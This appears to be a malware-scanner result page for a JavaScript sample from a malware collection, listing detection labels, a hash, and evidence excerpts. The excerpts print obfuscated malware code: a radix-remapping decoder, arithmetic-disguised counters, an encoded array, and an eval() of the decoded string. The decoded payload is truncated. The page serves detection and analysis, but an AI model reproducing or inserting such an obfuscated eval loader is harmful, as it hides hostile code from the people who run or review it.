Suspicious ^80% javascript-malware-collection Download

20151211_44c009609d8b8e03f531e7feb8484ee9.js

Obfuscated JS eval-decoded payload

parseInt toString radix remapObfuscated increment/decrement via arithmetic

SHA-2561ddb9c2084263702428bc42bdbe7fea1dfdf2e425d11876df51144af2b204b69

Evidence

parseInt toString radix remap lines 1–6

1:460… ','w','x','y','z','{','|','}','~','']
2function GieCb(ZKBRZrVsIRM,zEquwNkikvWwV,pZxrpopy){CvFO=parseInt(ZKBRZrVsIRM,zEquwNkikvWwV);fdNOD=CvFO.toString(pZxrpopy);return fdNOD;}function JKXCNhqQCtAzBOw(EPERUpjIfmZMHOkFD){eval(EPERUpjIfmZMHOkFD)}
3function lhXxmlaGXkxlQypvIITXZFYZRIWohgMkydLqEFtVTZZwqqgdBllXJq(pdevJcCFWFtBV,sxfTKlGzVuJTCg){ return EcCce[GieCb(pdevJcCFWFtBV[sxfTKlGzVuJTCg],(13792+656)/688,(7119+491)/761)];}
4function sRlEyoO(SRxVHDVYxKehSJCPJBwOHzIFbgwOAQTRvNwN) {return !isNaN(parseFloat(SRxVHDVYxKehSJCPJBwOHzIFbgwOAQTRvNwN)) && isFinite(SRxVHDVYxKehSJCPJBwOHzIFbgwOAQTRvNwN);}
5function SQCJksRxCnY(iDzdABjR,WcMwCj){return iDzdABjR.split(WcMwCj)}
6var e=new Array("d","a","d","a","5d","4d","59","1b","3i","1b","2j","1b","1d","5a","56","4i","5b","28","5e","4h","4e", …

Obfuscated increment/decrement via arithmetic lines 8–11

8:5… dXlSo=[e,ei];
9var NwiLqXoql=[];
10function HgUQMBoJnVcafjjnp(dXlSo){CTgskzQfAHe= '';IMuFsaXhSdG=(-130+130)/868; while(true){if(IMuFsaXhSdG >= (872+30)/451)break;NwiLqXoql[IMuFsaXhSdG]=(-808+808)/444; while(true) { if(NwiLqXoql[IMuFsaXhSdG] > dXlSo[IMuFsaXhSdG].length-(-179+273)/94) { break; } if (sRlEyoO(GieCb(dXlSo[IMuFsaXhSdG][NwiLqXoql[IMuFsaXhSdG]],(19056+369)/925,(3889+21)/391))) {CTgskzQfAHe += lhXxmlaGXkxlQypvIITXZFYZRIWohgMkydLqEFtVTZZwqqgdBllXJq([dXlSo[IMuFsaXhSdG][NwiLqXoql[IMuFsaXhSdG]]], (-472+472)/763);} NwiLqXoql[IMuFsaXhSdG]++;}IMuFsaXhSdG++;} return CTgskzQfAHe}
11JKXCNhqQCtAzBOw(HgUQMBoJnVcafjjnp(dXlSo));